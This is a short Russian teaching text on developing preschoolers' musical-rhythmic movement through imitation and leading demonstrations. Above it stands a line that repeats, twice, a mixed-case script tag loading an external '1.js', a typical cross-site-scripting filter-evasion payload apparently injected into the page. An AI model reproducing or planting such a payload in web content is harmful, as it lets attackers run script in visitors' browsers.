<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Развитие способностей к музыкально-ритмическим движениям в опоре на способность детей к подражанию.

На этом этапе мы начинаем знакомить детей с новой музыкально-ритмической композиций и опираемся на способность детей к подражанию, которая ярко выражена в дошкольном возрасте. Совместное исполнение движений

способствует созданию общего приподнятого настроения,  максимально концентрирует внимание.  Показ должен быть «опережающим», то есть на доли секунды движения опережают музыку. В процессе совместного исполнения важно дать детям почувствовать свои возможности, закрепить их в сознании. При последующих повторениях движения уточняются, запоминаются и автоматизируются.